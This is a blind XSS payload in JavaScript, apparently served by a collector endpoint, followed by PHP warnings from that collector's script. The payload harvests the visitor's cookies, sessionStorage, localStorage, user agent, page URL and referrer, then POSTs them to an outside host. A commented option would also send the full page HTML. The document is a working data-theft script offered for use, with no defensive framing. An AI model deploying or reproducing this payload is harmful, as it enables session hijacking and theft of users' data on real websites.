var mailer = '//bxss.hannibal.cam/';

var msg = 'USER AGENT\n' + navigator.userAgent + '\n\nTARGET URL\n' + document.URL;
msg += '\n\nREFERRER URL\n' + document.referrer + '\n\nREADABLE COOKIES\n' + document.cookie;
msg += '\n\nSESSION STORAGE\n' + JSON.stringify(sessionStorage) + '\n\nLOCAL STORAGE\n' + JSON.stringify(localStorage);
// msg += '\n\nFULL DOCUMENT\n' + document.documentElement.innerHTML;

var r = new XMLHttpRequest();
r.open('POST', mailer, true);
r.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
r.send('origin=' + document.location.origin + '&msg=' + encodeURIComponent(msg));

<br />
<b>Warning</b>:  Undefined array key "origin" in <b>/var/www/html/blind-xss/index.php</b> on line <b>15</b><br />
<br />
<b>Warning</b>:  Undefined array key "origin" in <b>/var/www/html/blind-xss/index.php</b> on line <b>17</b><br />
<br />
<b>Warning</b>:  Undefined array key "HTTP_X_FORWARDED_FOR" in <b>/var/www/html/blind-xss/index.php</b> on line <b>19</b><br />
<br />
<b>Warning</b>:  Undefined array key "HTTP_REFERER" in <b>/var/www/html/blind-xss/index.php</b> on line <b>19</b><br />
<br />
<b>Warning</b>:  Undefined array key "msg" in <b>/var/www/html/blind-xss/index.php</b> on line <b>20</b><br />